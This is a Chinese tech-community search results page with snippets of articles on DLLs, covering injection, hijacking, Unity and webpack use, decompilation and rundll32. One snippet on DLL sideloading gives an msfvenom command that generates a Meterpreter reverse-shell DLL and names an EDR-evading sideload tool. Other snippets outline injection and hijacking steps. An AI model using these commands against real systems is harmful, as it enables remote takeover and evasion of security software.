首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏全栈程序员必看

    python dll注入 网络_dll注入

    所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而 ​ 达到A进程控制B进程的目的 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序 B通过某种手段让程序A“加载”a.dll后, 程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计, 因此程序B的开发者可以对程序A API Hook); 五、dll注入的方法 一般情况下有如下dll注入方法: 1.修改注册表来注入dll; 2.使用CreateRemoteThread函数对运行中的进程注入dll; 3.使用SetWindowsHookEx 函数对应用程序挂钩(HOOK)迫使程序加载dll; 4.替换应用程序一定会使用的dll; 5.把dll作为调试器来注入; 6.用CreateProcess对子进程注入dll 7.修改被注入进程的exe的导入地址表 dll注入代码包含两部分,一部分是dll的源文件,另一部分是控制台程序的源代码。

    2.8K30编辑于 2022-08-27
  • 来自专栏呆呆敲代码的小Y 公众号

    Unity与 DLL文件 ☀️| 什么是DLL✨?

    前言 在之前的文章有介绍过so文件,那本篇文章就来介绍一些DLL文件吧! 提起DLL文件,大家肯定不会陌生,就算自己没编写生成过DLL文件,那也一定见过! 一个应用程序可有多个DLL文件,一个DLL文件也可能被几个应用程序所共用,这样的DLL文件被称为共享DLL文件。 ,应用程序通过按下所需DLL中特定的按钮,来调用DLL中这个按钮所代表的功能 在查阅资料时看到有篇文章是这样说的: Windows中有3个非常重要的底层DLL:Kernel32.dll、User32.dll 这样来看的话Windows和DLL文件确实关系密切的很,在底层代码上都有互动呢! 为什么要用DLL? 那么我们为什么要用DLL文件呢? 介绍一些关于DLL的大概知识,方便我们以后使用Unity的过程中遇到DLL文件时可以有个一知半解 那本篇文章对于DLL文件的介绍就到这里了,后面会写文章介绍怎样生成一个DLL文件和在Unity中调用DLL

    3.4K20发布于 2021-09-06
  • 来自专栏kayden

    DLL注入

    ---- DLL注入 前言 继续学习《逆向工程核心原理》,本篇笔记是第三部分:DLL注入,主要包括三种DLL注入、DLL卸载、修改PE、代码注入等内容 一、windows消息钩取 1、钩子 钩子(Hook DLL文件强制注入相应进程 3、键盘消息钩取 如下图所示: KeyHook.dll是个含有钩子过程的DLL文件 HookMain.exe是个加载KeyHook.dll,并使用SetWindowsHookEx 窗口 根据上一小节的地址10001020找到钩子 二、DLL注入 DLL注入:向运行中的其他进程强制插入特定的DLL文件,如下图所示 原理:从外部促使目标进程调用LoadLibrary \n", dwPID, DEF_DLL_NAME); return 0; } 四、通过修改PE加载DLL 上面是在运行的进程中注入DLL 本节直接修改目标程序的可执行文件,使其在运行时强制加载 DLL 目标:修改TextView.exe,使其运行时自动加载myhack3.dll 1、TextView.exe 这是个简单的文本查看程序 用PEView查看,可以看到4个本身就已经加载的DLL文件

    2.7K31编辑于 2022-09-29
  • 来自专栏鸿鹄实验室

    DLL injection

    所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序 dll注入实现过程 即 1.附加到目标/远程进程 2.在目标/远程进程内分配内存 3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间 dll -o inject.dll 然后手写一个dll注入器: #include<Windows.h> #include<stdio.h> using namespace std; int main 之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。

    2.8K40发布于 2021-10-12
  • 来自专栏Khan安全团队

    DLL 注入

    介绍 什么是 DLL 根据MSDN,DLL 是一个库,其中包含可以由多个程序同时使用的代码和数据。 DLL 通常用于将程序模块化为单独的组件,如果模块存在,则每个模块都由主程序加载。 这要求我们在机器上拥有 dll 并要求我们知道 dll 的路径。 LoadLibraryA使我们能够将 dll 从磁盘加载到内存中。这个函数为我们完成了所有的工作,只需要我们将路径传递给 dll 就可以了。 手动映射 DLL 可以让您执行 LoadLibrary 将 dll 加载到另一个进程中所做的所有操作,而无需将 dll 显示在模块列表中,这意味着如果某些程序试图遍历所有加载的模块,他们将看不到您的 dll 然而,这对我们的最终目标不起作用,因为我们想使用此代码将 dll 注入另一个进程。由于我们将此 dll 注入另一个进程,因此该进程将不得不进行导入解析。

    5.7K00编辑于 2022-01-16
  • 来自专栏前端LeBron

    Webpack DLL

    认识DLL库 什么是DLL DLL全称是动态链接库(Dynamic Link Library),是为软件在Windows中实现共享函数库的一种实现方式; 那么webpack中也有内置DLL的功能,它指的是可以将可以共享 /dll"), filename:"dll_[name].js", library:"dll_[name]" }, plugins 内有Dll文件和相应manifest.json文件。 但是现在有了dll_react,不再需要单独去打包它们,可以直接去引用dll_react即可: 第一步:通过DllReferencePlugin插件告知要使用的DLL库; 第二步:通过AddAssetHtmlPlugin /dll/dll_react.js") })

    2.1K30编辑于 2021-12-08
  • 来自专栏全栈程序员必看

    dll反编译(反编译加密dll)

    DLL to C反编译工具,它可以将DLL转换成可编译的C/C++代码。当您丢失DLL的源代码时,您可以用DLL to C。能够把DLL转换回可编译的代码。 并且具有生成数据结构和反汇编代码段的功能。 它还可以生成函数关系树,然后可以方便地导出DLL中所需的指定特征。它可以将汇编代码转换成C代码,C代码也是可编译的。 看起来还不错。并且这还只是一个新出的工具,估计以后会进一步改进。 产品特点: 将DLL转换成可编译C/C++代码 为所有数据段生成数据结构 生成模块定义文件 拆解代码段 拆装结构模式 全模式拆卸 全结构拆卸 用注释模式拆解 精密模式拆卸 用动态模式初始化导入地址表 用静态模式初始化导入地址表 用直接地址初始化导入地址表 附带工具反编译文件分析器 生成函数关系树 导出所有函数 仅输出指定的函数 创建调试工具 动态对数函数调用 自动识别所有使用的函数参数和局部变量 在没有任何分析的情况下导出DLL 中的任何特征 C语言静态库函数的自动识别 将汇编代码转换为C代码 使用方法: 简单拆解代码: 反编译代码: 只需点击“开始转换”按钮,就可以得到DLL的可编译C/C++代码。

    7.6K21编辑于 2022-07-28
  • 来自专栏祥的专栏

    DLL之旅1 : 将程序打包成DLL

    解决想法: 共用的函数重命名,虽然功能一样,但是名字不一样(简单粗暴,但是共用的函数多了就相当恶心,治标不治本) ; 将共用的函数打成动态链接库(lib、dll)。 分装DLL步骤 Step1. 新建win32的DLL项目 ? ? Step2 代码 就两个文件: 头文件: qShareDll.h 源文件: qShareDll.c Step2.1 头文件代码 #ifndef _Q_SHARE_DLL_H #define _Q_SHARE_DLL_H C编译器不会 _declspec(dllexport)说明该函数为导出函数 如果函数用_stdcall进行修饰,在动态引用的时候,要对函数指针也要进行_stdcall修饰 Next计划 [C-C++]DLL 之旅2 : 调用DLL(静态&动态加载)

    2.7K30发布于 2020-03-10
  • 来自专栏Windows技术交流

    找不到MSVCR120.dll、VCRUNTIME140.dll、MSVCP140.dll

    120版本号代表是VC++2013的文件,安装一下VC++2013的运行库就行我做了个WinPE,在其中安装了https://www.falkon.org/ 浏览器,打开的时候报找不到MSVCR120.dll 图片安装了https://www.palemoon.org/,打开的时候报找不到VCRUNTIME140.dll、MSVCP140.dll图片找不到MSVCR120.dll就安装VC库,精确点讲,是C+ + 2013 C Runtime,即Visual C++ Redistributable Packages for Visual Studio 2013找不到VCRUNTIME140.dll、MSVCP140 .dll就安装Visual C++ Redistributable Packages for Visual Studio 2015,目前微软把VC2015-2022合并在一块了图片下载地址:https:

    2.9K50编辑于 2022-12-23
  • 来自专栏祥的专栏

    DLL之旅2 : 调用DLL(静态&动态加载)

    转载请注明:转载自 祥的博客 原文链接:http://blog.csdn.net/humanking7/article/details/78586478 ---- 接着上文《DLL之旅1 : 将程序打包成 DLL》,现在调用动态链接库有两种方法。 1.静态加载 需要文件(一个都不能少): 头文件: qShareDll.h 编译生成的lib文件 : TestDll.lib – 编译需要 编译生成的dll文件 : TestDll.dll – 运行需要 头文件: qShareDll.h #ifndef _Q_SHARE_DLL_H #define _Q_SHARE_DLL_H extern "C" _declspec(dllexport) double "); //用于加载dll //如果当初头文件中有 "_stdcall" 修饰 //typedef double(_stdcall *ADDPROC)(double, double);

    3.8K10发布于 2020-03-10
  • 来自专栏又见苍岚

    DLL Dependency

    C++ 工程经常需要调用各种 dll 文件,说不定哪天哪个dll就不好使了,本文记录一种用 Dependency 排查问题的方法。 依赖项可以帮助 Windows 开发人员解决他们的 dll 加载依赖项问题。 问题复现 C++ 工程调用众多 dll,有一天突然报错: 解决方案 下载 工具包,或我的 个人文件下载 解压后运行 DependenciesGui.exe 将有问题的 dll 文件拖进去 可以看到有问题的依赖项 参考资料 https://github.com/lucasg/Dependencies 文章链接: https://www.zywvvd.com/notes/coding/cpp/dll-dependencies /dll-dependencies/

    59710编辑于 2023-11-18
  • 来自专栏全栈程序员必看

    DLL注入

    DLL注入 DLL注入原理 dll注入实现过程 生成DLL 手写dll注入器: APC实现DLL注入 反射型dll注入 DarkLoadLibrary DLL注入原理 在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中 所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序 dll注入实现过程 1.附加到目标/远程进程 2.在目标/远程进程内分配内存 3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间 4.控制进程运行DLL文件 dll的不二之选。

    1.1K20编辑于 2022-08-30
  • 来自专栏全栈程序员必看

    java卸载dll,如何在java中卸载Dll

    ClassLoader) I have searched the group but the closest I could find is that it is not possible to unload the DLL 解决方案 From one of the related SO questions, found this tutorial on DLL unloading.

    2.7K10编辑于 2022-08-30
  • 来自专栏全栈程序员必看

    C# dll反编译(dll反编译破解)

    下面是修改IL文件然后重新生成DLL 的步骤,适用于dll文件没有源码,但是需要修改一点点的小改动 问:为啥不直接用dnspy进行修改? 运行反倒有问题,因此怀疑通过dnspy修改库最后的编译环境和原有库的编译环境不一致,考虑到dnspy自身需要.net4.0以上环境才能运行,所以这里采用修改IL文件的方法 微软的工具ildasm.exe:这个是把DLL net4.6版本,主要注意的是win10 安装.net2.0 和.net3.0 费劲,这两个版本的可以找个win7的虚拟机安装后查找 image.png 微软的工具ilasm.exe:这个是把IL文件重新生成DLL 的功能; image.png 利用dnspy 反编译看看dll的原代码是什么.net版本,也可以利用它进行源码分析,定位到要修改的位置 image.png 根据原dll的版本选择相应的ildasm.exe /resource:test.res /output:test.dll image.png 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/128695.html

    5.7K20编辑于 2022-07-28
  • 来自专栏鸿鹄实验室

    Sideloading DLL攻击

    最后以一份表格总结了各类功能以及绕过效果: 我们可以看到,dll几乎绕过了所有的EDR,而这里的DLL指的便是Sideloading DLL。 Sideloading DLL最早应该是在一份APT报告中被提出来的,即DLL侧加载。 利用方法: 首先找到一个存在dll加载(或劫持)的程序,然后使用msf生成dll msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f dll -a x86 > payload.dll 然后使用DLLSideloader来生成我们的转发dll,工具地址: https://github.com/SkiddieTech/DLLSideloader 然后生成所需的文件即可 Invoke-DLLSideLoad libcurl.dll payload.dll 然后执行exe文件,即可获取session。

    1.6K30发布于 2021-08-25
  • 来自专栏黑白天安全团队

    DLL攻击漫谈

    这意味着,如果DLL包含任何异常,则不会为调用EXE提供任何保护。恶意攻击者可以通过使用诸如DLL劫持或DLL代理之类的方法来执行其恶意代码来利用这一事实。 攻击 DLL包含要由加载过程执行的代码,这会造成一种情况,即可以利用丢失的DLL或以不安全的方法实现的DLL来诱骗正在运行的系统执行恶意有效负载,在这种情况下,它利用本机DLL搜索顺序。 攻击利用过程 当我们确定某个进程按某个搜索顺序搜索DLL,并且缺少DLL 或者错误实现的DLL的进程之后,才能够进行下一步攻击 第一步:确定DLL 首先,我们从Sysinternals设置ProcMon 第二步:查找DLL和利用 在查找这些DLL时,得出的结论是Riched32.DLL是非本地DLL,因此,注册表中没有该DLL的默认搜索路径。但是如果我们正确配置它,系统最终也会加载它。 DLL命名为Riched32.dll放进Bginfo64.exe的DLL文件夹中。

    1.6K10发布于 2020-11-03
  • 来自专栏红队蓝军

    DLL劫持详解

    Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 导出表包含 DLL 导出到其他可执行文件的每个函数的名称,这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。 : case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; dll转发的方式 dll转发顾名思义,就是要保留原来的dll,再生成一个恶意的dll执行代码,代码如下 // dllmain.cpp : 定义 DLL 应用程序的入口点。 转发对主程序的依赖非常的高,报错是CreateWindowsEx()返回值为空报错,当使用转发,让程序先走恶意的dll(SciLexer.dll),再走正常的dll的时候(SciLexer_re.dll

    2.5K20编辑于 2022-05-17
  • 来自专栏sofu456

    mfc窗口dll

    dlg.Create(IDD_TESTPUSHSTREAMCLIENT_DIALOG, NULL); dlg.ShowWindow(SW_SHOW); } mfc项目配置 在导出函数文件中定义 #define DLL_MODULE mfc框架中app文件中 #ifndef DLL_MODULE CWinApp theApp; #endif

    2.4K30编辑于 2023-03-01
  • 来自专栏全栈程序员必看

    python 调用dll

    首先用visual studio写个dll。 // TestDll.cpp : Defines the entry point for the DLL application. // #include “stdafx.h” #include <iostream include <windows.h> int _tmain(int argc, _TCHAR* argv[]) {  HMODULE hDll = ::LoadLibrary(TEXT(“TestDll.dll hDll, “HelloWorld”);  pHello();  return 0; } 而python的调用也很简单: from ctypes import * fileName=”TestDll.dll

    3.1K20发布于 2021-08-13
  • 来自专栏sofu456

    调用dll函数

    rundll32 直接调用dll函数,rundll32 dllpath,func param1 param2 … 执行步骤 它分析命令行。 当 <entrypoint> 函数返回时,Rundll.exe 将卸载 DLL 并退出。 功能: 关闭系统 命令列: rundll32.exe shell32.dll,Control_RunDLL 功能: 显示控制面板 命令列: rundll32.exe shell32.dll (同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2) 命令列: rundll32.exe shell32.dll,Control_RunDLL .dll,Control_RunDLL themes.cpl 功能: 显示“桌面主题”选项面板 命令列: rundll32.exe shell32.dll,Control_RunDLL firewall.cpl

    5.2K20发布于 2020-07-29
领券